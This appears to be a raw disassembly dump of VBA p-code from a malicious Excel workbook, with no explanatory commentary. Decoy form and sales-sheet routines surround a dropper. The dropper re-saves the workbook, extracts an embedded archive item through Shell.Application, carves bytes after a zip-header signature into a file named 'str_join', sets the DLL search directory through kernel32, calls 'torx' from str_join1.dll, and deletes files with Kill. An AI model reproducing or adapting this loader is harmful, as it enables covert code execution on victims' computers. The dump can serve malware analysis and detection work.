' 	FuncDefn (Public Declare PtrSafe Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
' Line #11:
' 	FuncDefn (Public Declare PtrSafe Function code1 Lib "kernel32.dll" (ByVal dirName As String) As LongPtr)
' Line #12:
' 	FuncDefn (Public Declare PtrSafe Function torx Lib "str_join1.dll" () As Integer)
' Line #13:
' 	LbMark
' 	LbElse
' Line #14:
' 	FuncDefn (Public Declare Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
' Line #15:
' 	FuncDefn (Public Declare Function code1 Lib "kernel32.dll" (ByVal dirName As String) As Long)
' Line #16:
' 	FuncDefn (Public Declare Function torx Lib "vbUnicode" () As Integer)
' Line #17:
' 	LbMark
' 	LbEndIf
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' 	FuncDefn (Public Sub VistaQ(WhereToGo))
' Line #22:
' 	ArgsCall DoEvents 0x0000
' Line #23:
' 	Ld ThisWorkbook
' 	MemLd Sheets
' 	ArgsMemCall Copy 0x0000
' Line #24:
' 	LitVarSpecial (False)
' 	Ld Application
' 	MemSt DisplayAlerts
' Line #25:
' 	ArgsCall DoEvents 0x0000
' Line #26:
' 	Ld WhereToGo
' 	LitVarSpecial (False)
' 	ParamNamed Local
' 	LitDI2 0x0003
' 	LitDI2 0x0007
' 	Mul
' 	LitDI2 0x0003
' 	LitDI2 0x0007
' 	Mul
' 	Add
' 	LitDI2 0x0009
' 	Add
' 	ParamNamed FileFormat
' 	Ld ActiveWorkbook
' 	ArgsMemCall SaveAs 0x0003
' Line #27:
' 	ArgsCall DoEvents 0x0000
' Line #28:
' 	ArgsCall DoEvents 0x0000
' Line #29:
' 	Ld ActiveWorkbook
' 	ArgsMemCall Close 0x0000
' Line #30:
' 	ArgsCall DoEvents 0x0000
' Line #31:
' 	ArgsCall DoEvents 0x0000
' Line #32:
' Line #33:
' Line #34:
' 	EndSub
' Line #35:
' Line #36:
' Line #37:
' Line #38:
' Line #39:
' Line #40:
' 	FuncDefn (Public Sub PublicResumEraseByArrayList(putArrayBigList As ))
' Line #41:
' 	OnError (Resume Next)
' Line #42:
' 	StartForVariable
' 	Ld Key
' 	EndForVariable
' 	Ld putArrayBigList
' 	ForEach
' Line #43:
' 	Ld Key
' 	ArgsCall Kill 0x0001
' Line #44:
' 	StartForVariable
' 	Ld Key
' 	EndForVariable
' 	NextVar
' Line #45:
' 	EndSub
' Line #46:
' Line #47:
' Line #48:
' Line #49:
' Line #50:
' Line #51:
' 	FuncDefn (Private Sub TextBox2_Change())
' Line #52:
' Line #53:
' 	Ld TextBox2
' 	FnLen
' 	St x
' Line #54:
' 	Ld TextBox2
' 	MemLd Text
' 	ArgsLd LTrim 0x0001
' 	St Y
' Line #55:
' 	Ld TextBox2
' 	St d
' Line #56:
' 	Ld d
' 	LitStr 0x0000 ""
' 	Eq
' 	IfBlock
' Line #57:
' 	LitHI4 0xFFFF 0x00FF
' 	Ld TextBox2
' 	MemSt BackColor
' Line #58:
' 	ExitSub
' Line #59:
' 	EndIfBlock
' Line #60:
' 	Ld d
' 	LitDI2 0x0002
' 	ArgsLd Left 0x0002
' 	LitDI2 0x0018
' 	Gt
' 	IfBlock
' Line #61:
' 	LitStr 0x000A "Ora Errata"
' 	ArgsCall MsgBox 0x0001
' Line #62:
' 	LitDI2 0x0000
' 	Ld TextBox2
' 	MemSt SelStart
' Line #63:
' 	Ld TextBox2
' 	FnLen
' 	Ld TextBox2
' 	MemSt SelLength
' Line #64:
' 	ExitSub
' Line #65:
' 	EndIfBlock
' Line #66:
' 	Ld x
' 	LitDI2 0x0002
' 	Eq
' 	If
' 	BoSImplicit
' 	Ld Y
' 	LitStr 0x0001 ":"
' 	Concat
' 	St TextBox2
' 	EndIf
' Line #67:
' 	Ld x
' 	LitDI2 0x0004
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #68:
' Line #69:
' 	Ld d
' 	LitDI2 0x0004
' 	LitDI2 0x0002
' 	ArgsLd Mid 0x0003
' 	LitStr 0x0000 ""
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #70:
' 	Ld d
' 	LitDI2 0x0004
' 	LitDI2 0x0002
' 	ArgsLd Mid 0x0003
' 	LitDI2 0x003B
' 	Gt
' 	IfBlock
' Line #71:
' 	LitStr 0x000D "Minuti Errati"
' 	ArgsCall MsgBox 0x0001
' Line #72:
' 	LitDI2 0x0003
' 	Ld TextBox2
' 	MemSt SelStart
' Line #73:
' 	Ld TextBox2
' 	FnLen
' 	Ld TextBox2
' 	MemSt SelLength
' Line #74:
' 	ExitSub
' Line #75:
' 	EndIfBlock
' Line #76:
' Line #77:
' Line #78:
' 	Ld x
' 	LitDI2 0x0005
' 	Eq
' 	IfBlock
' Line #79:
' 	Ld TextBox3
' 	ArgsMemCall SetFocus 0x0000
' Line #80:
' 	EndIfBlock
' Line #81:
' 	ExitSub
' Line #82:
' Line #83:
' 	Resume
' Line #84:
' 	EndSub
' Line #85:
' Line #86:
' 	FuncDefn (Public Function ExChangeMoney())
' Line #87:
' Line #88:
' Line #89:
' 	Dim
' 	VarDefn ofbl (As String)
' Line #90:
' 	Dim
' 	VarDefn sOfbl (As String)
' Line #91:
' 	Dim
' 	VarDefn NumBForRead (As Long)
' Line #92:
' Line #93:
' Line #94:
' 	LitStr 0x0000 ""
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	Concat
' 	St dershlep
' Line #95:
' Line #96:
' Line #97:
' Line #98:
' 	Dim
' 	VarDefn sendings (As Integer)
' Line #99:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	St ofbl
' Line #100:
' 	Ld ofbl
' 	LitStr 0x0009 "\str_join"
' 	Add
' 	St ofbl
' Line #101:
' Line #102:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	LitStr 0x0007 "\academ"
' 	Add
' 	St liquidOne
' Line #103:
' Line #104:
' 	Ld liquidOne
' 	LitStr 0x0006 "l.xlsx"
' 	Add
' 	St liquidOne
' Line #105:
' Line #106:
' 	Dim
' 	LitDI2 0x0001
' 	LitDI2 0x0003
' 	VarDefn arr (As String)
' Line #107:
' Line #108:
' Line #109:
' Line #110:
' Line #111:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Text
' 	FnLenB
' 	LitDI2 0x00C8
' 	Gt
' 	IfBlock
' Line #112:
' 	LitStr 0x0019 "Ultrapassa 66 Caracteres!"
' 	Ld vbCritical
' 	LitStr 0x0009 "HISTÓRICO"
' 	ArgsCall MsgBox 0x0003
' Line #113:
' 	LitDI2 0x0000
' 	Ld TextBox7
' 	MemSt SelStart
' Line #114:
' 	ElseBlock
' Line #115:
' Line #116:
' Line #117:
' 	EndIfBlock
' Line #118:
' 	Dim
' 	VarDefn objeto
' Line #119:
' Line #120:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Text
' 	FnLen
' 	LitDI2 0x016E
' 	Gt
' 	IfBlock
' Line #121:
' 	StartForVariable
' 	Ld objeto
' 	EndForVariable
' 	Ld UserForm1
' 	MemLd Controls
' 	ForEach
' Line #122:
' 	OnError (Resume Next)
' Line #123:
' 	LitStr 0x0000 ""
' 	Ld objeto
' 	MemSt Value
' Line #124:
' 	StartForVariable
' 	Next
' Line #125:
' Line #126:
' 	Ld ggg
' 	MemLd UserForm1
' 	ArgsCall Unload 0x0001
' Line #127:
' 	Ld ggg
' 	MemLd UserForm1
' 	ArgsMemCall Hide 0x0000
' Line #128:
' 	EndIfBlock
' Line #129:
' Line #130:
' Line #131:
' Line #132:
' 	Ld liquidOne
' 	LitStr 0x0004 "B115"
' 	Ld Page11
' 	ArgsMemLd Range 0x0001
' 	MemLd Value
' 	Concat
' 	St ctackPip
' Line #133:
' Line #134:
' Line #135:
' Line #136:
' Line #137:
' 	Ld ofbl
' 	LitStr 0x0004 "B115"
' 	Ld Page11
' 	ArgsMemLd Range 0x0001
' 	MemLd Value
' 	Add
' 	St sOfbl
' Line #138:
' 	Ld ofbl
' 	LitStr 0x0001 "*"
' 	Add
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	LitStr 0x000A "\str_join*"
' 	Add
' 	Ld sOfbl
' 	Ld ctackPip
' 	Ld dershlep
' 	Ld UserForm1
' 	MemLd Label1
' 	MemLd Tag
' 	Add
' 	ArgsCall PublicResumEraseByArrayList 0x0005
' Line #139:
' Line #140:
' Line #141:
' 	Ld liquidOne
' 	ArgsCall VistaQ 0x0001
' Line #142:
' Line #143:
' 	Ld liquidOne
' 	ParamNamed Source
' 	Ld ctackPip
' 	ParamNamed Destination
' 	ArgsCall FileCopy 0x0002
' Line #144:
' 	LitDI2 0x0001
' 	St sendings
' Line #145:
' 	Dim
' 	VarDefn sNMSP (New As Shell)
' Line #146:
' 	LitVarSpecial (False)
' 	St FlagDouble
' Line #147:
' Line #148:
' 	Ld UserForm1
' 	MemLd Label11
' 	MemLd Tag
' 	St Lrigat
' Line #149:
' Line #150:
' 	Ld sendings
' 	LitDI2 0x000F
' 	UMi
' 	Gt
' 	Ld sendings
' 	LitDI2 0x0082
' 	UMi
' 	Gt
' 	And
' 	IfBlock
' Line #151:
' Line #152:
' 	SetStmt
' 	Ld dershlep
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set DestinationKat
' Line #153:
' 	SetStmt
' 	Ld ctackPip
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set harvest
' Line #154:
' Line #155:
' Line #156:
' 	EndIfBlock
' Line #157:
' Line #158:
' Line #159:
' 	SetStmt
' 	LitDI2 0x0001
' 	LitDI2 0x0001
' 	Ld ThisWorkbook
' 	ArgsMemLd Sheets 0x0001
' 	MemLd Application
' 	ArgsMemLd Sheets 0x0001
' 	MemLd Application
' 	Set ExcelC
' Line #160:
' Line #161:
' Line #162:
' Line #163:
' 	Ld Lrigat
' 	Ld harvest
' 	MemLd Items
' 	ArgsMemLd Item 0x0001
' 	Ld DestinationKat
' 	ArgsMemCall CopyHere 0x0001
' Line #164:
' Line #165:
' Line #166:
' Line #167:
' 	Dim
' 	VarDefn car (As Lumene)
' Line #168:
' Line #169:
' 	SetStmt
' 	New id_FFFF
' 	Set car
' Line #170:
' Line #171:
' 	LitDI4 0xCD46 0x0006
' 	St NumBForRead
' Line #172:
' Line #173:
' Line #174:
' 	LitDI2 0x0001
' 	St sendings
' Line #175:
' 	LitStr 0x0001 "1"
' 	St flayString
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' 	Ld dershlep
' 	LitStr 0x0000 ""
' 	Add
' 	Ld UserForm1
' 	MemLd Label1
' 	MemLd Tag
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	Ld sOfbl
' 	Ld NumBForRead
' 	ArgsCall Composition 0x0003
' Line #180:
' Line #181:
' 	Ld sendings
' 	LitDI2 0x0064
' 	Lt
' 	IfBlock
' Line #182:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #183:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #184:
' 	EndIfBlock
' Line #185:
' Line #186:
' 	Ld sendings
' 	LitDI2 0x000F
' 	UMi
' 	Gt
' 	Ld sendings
' 	LitDI2 0x0082
' 	UMi
' 	Gt
' 	And
' 	IfBlock
' Line #187:
' Line #188:
' 	SetStmt
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set DestinationKat
' Line #189:
' 	SetStmt
' 	Ld sOfbl
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set harvest
' Line #190:
' Line #191:
' 	Ld harvest
' 	MemLd Items
' 	Ld DestinationKat
' 	ArgsMemCall CopyHere 0x0001
' Line #192:
' Line #193:
' Line #194:
' 	EndIfBlock
' Line #195:
' Line #196:
' 	LitDI2 0x0064
' 	UMi
' 	Ld sendings
' 	Le
' 	IfBlock
' Line #197:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #198:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	ArgsCall ChDir 0x0001
' Line #199:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #200:
' 	EndIfBlock
' Line #201:
' 	LitStr 0x0001 """
' 	Ld sOfbl
' 	Add
' 	LitStr 0x0003 "",""
' 	Concat
' 	St sOfbl
' Line #202:
' Line #203:
' 	Ld sendings
' 	LitDI2 0x0000
' 	Lt
' 	IfBlock
' Line #204:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #205:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #206:
' 	EndIfBlock
' Line #207:
' Line #208:
' Line #209:
' 	Ld sendings
' 	LitDI2 0x03E8
' 	Gt
' 	IfBlock
' Line #210:
' 	Ld sendings
' 	LitDI2 0x0014
' 	Sub
' 	St sendings
' Line #211:
' 	EndIfBlock
' Line #212:
' 	Ld sendings
' 	LitDI2 0x002F
' 	UMi
' 	Lt
' 	IfBlock
' Line #213:
' 	Ld sendings
' 	LitDI2 0x0014
' 	Sub
' 	St sendings
' Line #214:
' 	EndIfBlock
' Line #215:
' 	Ld sendings
' 	LitDI2 0x0000
' 	Lt
' 	IfBlock
' Line #216:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #217:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #218:
' 	EndIfBlock
' Line #219:
' 	Ld d
' 	ArgsLd TestResult 0x0001
' 	St StopByOk
' Line #220:
' Line #221:
' Line #222:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	ArgsCall setDLLDirectory 0x0001
' Line #223:
' 	ArgsCall torx 0x0000
' Line #224:
' 	Ld WelcomeDialog
' 	ArgsMemCall Hide 0x0000
' Line #225:
' 	EndFunc
' Line #226:
' Line #227:
' Line #228:
' 	FuncDefn (Sub subTotalSales())
' Line #229:
' Line #230:
' 	Dim
' 	VarDefn LR (As Integer)
' Line #231:
' 	Ld xlUp
' 	Ld Rows
' 	MemLd Count
' 	LitStr 0x0001 "A"
' 	ArgsLd Cells 0x0002
' 	ArgsMemLd End 0x0001
' 	MemLd Row
' 	LitDI2 0x0002
' 	Add
' 	St LR
' Line #232:
' 	Ld xlDown
' 	ParamNamed Shift
' 	LitStr 0x0003 "1:2"
' 	ArgsLd Rows 0x0001
' 	MemLd EntireRow
' 	ArgsMemCall Insert 0x0001
' Line #233:
' Line #234:
' 	Ld LR
' 	LitDI2 0x0003
' 	Eq
' 	IfBlock
' Line #235:
' 	LitStr 0x0002 "A1"
' 	ArgsLd Range 0x0001
' 	ArgsMemCall Select 0x0000
' Line #236:
' 	Ld salesHeade
' 	ArgsMemCall (Call) rs 0x0000
' Line #237:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "A2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #238:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "B2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #239:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "C2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #240:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "D2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #241:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "E2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #242:
' 	LitStr 0x0002 "0%"
' 	LitStr 0x0002 "F2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #243:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "G2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #244:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "H2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #245:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "I2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #246:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "J2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #247:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "K2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #248:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "L2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #249:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "M2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #250:
' 	LitStr 0x0002 "0%"
' 	LitStr 0x0002 "N2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #251:
' 	ElseBlock
' Line #252:
' 	LitStr 0x0002 "A1"
' 	ArgsLd Range 0x0001
' 	ArgsMemCall Select 0x0000
' Line #253:
' 	Ld salesHeade
' 	ArgsMemCall (Call) rs 0x0000
' Line #254:
' 	StartWithExpr
' 	Ld ActiveSheet
' 	With
' Line #255:
' Line #256:
' 	EndWith
' Line #257:
' 	EndIfBlock
' Line #258:
' Line #259:
' 	EndSub
' Line #260:
' Line #261:
' Line #262:
' 	FuncDefn (Sub InputWeekData(x As Date))
' Line #263:
' Line #264:
' 	Ld x
' 	LitStr 0x0002 "ww"
' 	Ld vbMonday
' 	Ld vbFirstFourDays
' 	ArgsLd Format 0x0004
' 	St ActiveCell
' Line #265:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #266:
' 	Ld x
' 	St ActiveCell
' Line #267:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #268:
' 	Ld x
' 	LitDI2 0x0006
' 	Add
' 	St ActiveCell
' Line #269:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #270:
' Line #271:
' 	EndSub
' Line #272:
' 	FuncDefn (Private Sub TextBox3_Change())
' Line #273:
' Line #274:
' 	Ld TextBox3
' 	MemLd Text
' 	ArgsLd LTrim 0x0001
' 	St Y
' Line #275:
' 	Ld TextBox3
' 	St d
' Line #276:
' Line #277:
' 	Ld x
' 	LitDI2 0x0005
' 	Eq
' 	IfBlock
' Line #278:
' 	Ld TextBox4
' 	ArgsMemCall SetFocus 0x0000
' Line #279:
' 	EndIfBlock
' Line #280:
' Line #281:
' 	EndSub
' Line #282:
' Line #283:
' Line #284:
' Line #285:
' Line #286:
' Line #287:
' Line #288:
' Line #289:
' Line #290:
' Line #291:
' Line #292:
' Line #293:
' Line #294:
' Line #295:
' Line #296:
' Line #297:
' _VBA_PROJECT_CUR/VBA/Module2 - 18333 bytes
' Line #0:
' Line #1:
' 	Dim (Public Const)
' 	LitDI2 0x0050
' 	VarDefn FirstB (As Byte)
' Line #2:
' 	Dim (Public Const)
' 	LitDI2 0x004B
' 	VarDefn SecondB (As Byte)
' Line #3:
' 	Dim (Public Const)
' 	LitDI2 0x0003
' 	VarDefn ThirdB (As Byte)
' Line #4:
' 	Dim (Public Const)
' 	LitDI2 0x0004
' 	VarDefn FourthB (As Byte)
' Line #5:
' 	FuncDefn (Public Sub GetParam(Count As Integer))
' Line #6:
' 	Dim
' 	VarDefn I (As Long)
' Line #7:
' 	Dim
' 	VarDefn j (As Integer)
' Line #8:
' 	Dim
' 	VarDefn C (As String)
' Line #9:
' 	Dim
' 	VarDefn tooolsetChunkI (As Boolean)
' Line #10:
' 	Dim
' 	VarDefn tooolsetChunkQ (As Boolean)
' Line #11:
' Line #12:
' 	LitDI2 0x0001
' 	St j
' Line #13:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #14:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #15:
' 	LitStr 0x0000 ""
' 	Ld GetP
' 	MemSt aram
' Line #16:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	LitDI2 0x0001
' 	Ld Comma
' 	MemLd nd$
' 	FnLen
' 	For
' Line #17:
' 	Ld Comma
' 	MemLd nd$
' 	Ld I
' 	LitDI2 0x0001
' 	Ld Mi
' 	ArgsMemLd d$ 0x0003
' 	St C
' Line #18:
' 	Ld tooolsetChunkI
' 	IfBlock
' Line #19:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #20:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #21:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #22:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #23:
' 	EndIfBlock
' Line #24:
' 	Ld tooolsetChunkQ
' 	Not
' 	ElseIfBlock
' Line #25:
' 	Ld C
' 	LitStr 0x0001 " "
' 	Eq
' 	IfBlock
' Line #26:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #27:
' 	EndIfBlock
' Line #28:
' 	ElseBlock
' Line #29:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #30:
' 	Ld j
' 	Ld Count
' 	Gt
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #31:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #32:
' 	LitVarSpecial (True)
' 	St tooolsetChunkQ
' Line #33:
' 	Ld C
' 	LitStr 0x0004 " ccc"
' 	Ne
' 	ElseIfBlock
' Line #34:
' Line #35:
' 	EndIfBlock
' Line #36:
' 	EndIfBlock
' Line #37:
' 	Ld tooolsetChunkI
' 	Ld j
' 	Ld Count
' 	Eq
' 	And
' 	Ld C
' 	LitStr 0x0001 """
' 	Ne
' 	And
' 	If
' 	BoSImplicit
' 	Ld GetP
' 	MemLd aram
' 	Ld C
' 	Concat
' 	Ld GetP
' 	MemSt aram
' 	EndIf
' Line #38:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #39:
' 	EndSub
' Line #40:
' Line #41:
' Line #42:
' Line #43:
' Line #44:
' Line #45:
' 	FuncDefn (Public Sub setDLLDirectory(ByVal targetDir As String))
' Line #46:
' Line #47:
' Line #48:
' 	Dim
' 	VarDefn B (As Byte)
' Line #49:
' 	Dim
' 	VarDefn p (As Long)
' Line #50:
' Line #51:
' 	LitHI2 0x1000
' 	Paren
' 	ArgsCall code2 0x0001
' Line #52:
' 	Ld targetDir
' 	Ld _B_var_StrConv
' 	ArgsLd Str 0x0002
' 	Paren
' 	ArgsCall code1 0x0001
' Line #53:
' 	EndSub
' Line #54:
' Line #55:
' 	FuncDefn (Public Sub GetParam3(Count As Integer))
' Line #56:
' 	Dim
' 	VarDefn I (As Long)
' Line #57:
' 	Dim
' 	VarDefn j (As Integer)
' Line #58:
' 	Dim
' 	VarDefn C (As String)
' Line #59:
' 	Dim
' 	VarDefn tooolsetChunkI (As Boolean)
' Line #60:
' 	Dim
' 	VarDefn tooolsetChunkQ (As Boolean)
' Line #61:
' Line #62:
' 	LitDI2 0x0001
' 	St j
' Line #63:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #64:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #65:
' 	LitStr 0x0000 ""
' 	Ld GetP
' 	MemSt aram
' Line #66:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	LitDI2 0x0001
' 	Ld Comma
' 	MemLd nd$
' 	FnLen
' 	For
' Line #67:
' 	Ld Comma
' 	MemLd nd$
' 	Ld I
' 	LitDI2 0x0001
' 	Ld Mi
' 	ArgsMemLd d$ 0x0003
' 	St C
' Line #68:
' 	Ld tooolsetChunkI
' 	IfBlock
' Line #69:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #70:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #71:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #72:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #73:
' 	EndIfBlock
' Line #74:
' Line #75:
' 	ElseBlock
' Line #76:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #77:
' 	Ld j
' 	Ld Count
' 	Gt
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #78:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #79:
' 	LitVarSpecial (True)
' 	St tooolsetChunkQ
' Line #80:
' 	Ld C
' 	LitStr 0x0001 " "
' 	Ne
' 	ElseIfBlock
' Line #81:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #82:
' 	EndIfBlock
' Line #83:
' 	EndIfBlock
' Line #84:
' 	Ld tooolsetChunkI
' 	Ld j
' 	Ld Count
' 	Eq
' 	And
' 	Ld C
' 	LitStr 0x0001 """
' 	Ne
' 	And
' 	If
' 	BoSImplicit
' 	Ld GetP
' 	MemLd aram
' 	Ld C
' 	Concat
' 	Ld GetP
' 	MemSt aram
' 	EndIf
' Line #85:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #86:
' 	EndSub
' Line #87:
' Line #88:
' Line #89:
' Line #90:
' Line #91:
' Line #92:
' Line #93:
' 	FuncDefn (Public Sub Composition(Composition2 As String, ofbl As String, fl As Long))
' Line #94:
' 	Dim
' 	VarDefn PChannel (As Long)
' Line #95:
' 	Dim
' 	VarDefn logicVari (As Integer)
' Line #96:
' 	Dim
' 	VarDefn SimpleMethod (As Integer)
' Line #97:
' 	LitDI2 0x0001
' 	Ld fl
' 	Redim HurricanMoes 0x0001 (As Variant)
' Line #98:
' 	Ld FreeFile
' 	St PChannel
' Line #99:
' 	Ld Composition2
' 	Ld PChannel
' 	LitDefault
' 	Open (For Binary Access Read)
' Line #100:
' 	Ld FirstB
' 	LitDI2 0x0001
' 	ArgsSt HurricanMoes 0x0001
' Line #101:
' Line #102:
' 	Ld SecondB
' 	LitDI2 0x0002
' 	ArgsSt HurricanMoes 0x0001
' Line #103:
' 	Ld ThirdB
' 	LitDI2 0x0003
' 	ArgsSt HurricanMoes 0x0001
' Line #104:
' 	Ld FourthB
' 	LitDI2 0x0004
' 	ArgsSt HurricanMoes 0x0001
' Line #105:
' 	LitDI2 0x0001
' 	St logicVari
' Line #106:
' 	Ld PChannel
' 	ArgsLd EOF 0x0001
' 	Not
' 	DoWhile
' Line #107:
' 	Ld PChannel
' 	LitDefault
' 	Ld MoveStep
' 	GetRec
' Line #108:
' 	Ld MoveStep
' 	Ld FirstB
' 	Eq
' 	IfBlock
' Line #109:
' Line #110:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForHeart
' 	GetRec
' Line #111:
' 	Ld PatchForHeart
' 	Ld SecondB
' 	Eq
' 	IfBlock
' Line #112:
' Line #113:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForLuck
' 	GetRec
' Line #114:
' 	Ld PatchForLuck
' 	Ld ThirdB
' 	Eq
' 	IfBlock
' Line #115:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForLuck
' 	GetRec
' Line #116:
' 	Ld PatchForLuck
' 	Ld FourthB
' 	Eq
' 	IfBlock
' Line #117:
' 	StartForVariable
' 	Ld k
' 	EndForVariable
' 	LitDI2 0x0005
' 	Ld fl
' 	For
' Line #118:
' 	Ld PChannel
' 	LitDefault
' 	Ld MoveStep
' 	GetRec
' Line #119:
' 	Ld MoveStep
' 	Ld k
' 	ArgsSt HurricanMoes 0x0001
' Line #120:
' 	StartForVariable
' 	Ld k
' 	EndForVariable
' 	NextVar
' Line #121:
' 	ExitDo
' Line #122:
' Line #123:
' 	EndIfBlock
' Line #124:
' 	EndIfBlock
' Line #125:
' 	EndIfBlock
' Line #126:
' 	EndIfBlock
' Line #127:
' 	Loop
' Line #128:
' 	OnError (Resume Next)
' Line #129:
' 	LitDI2 0x0764
' 	St PublicationChannel
' Line #130:
' 	Ld PChannel
' 	Close 0x0001
' Line #131:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #132:
' 	Ld FreeFile
' 	St PChannel
' Line #133:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #134:
' 	Ld ofbl
' 	Ld PChannel
' 	Sharp
' 	LitDefault
' 	Open (For Binary Lock Read Write)
' Line #135:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #136:
' 	LitDI2 0x0001
' 	St zeroBob
' Line #137:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	Ld zeroBob
' 	Ld HurricanMoes
' 	FnUBound 0x0000
' 	For
' Line #138:
' Line #139:
' 	Ld WelcomeDialog
' 	MemLd Enabled
' 	LitVarSpecial (True)
' 	Eq
' 	IfBlock
' Line #140:
' Line #141:
' 	Ld PChannel
' 	Sharp
' 	LitDefault
' 	Ld I
' 	ArgsLd HurricanMoes 0x0001
' 	PutRec
' Line #142:
' 	EndIfBlock
' Line #143:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #144:
' 	Ld PChannel
' 	Close 0x0001
' Line #145:
' 	Ld FreeFile
' 	St PChannel
' Line #146:
' 	StartForVariable
' 	Ld HSP
' 	EndForVariable
' 	LitDI2 0x0021
' 	LitDI2 0x0001
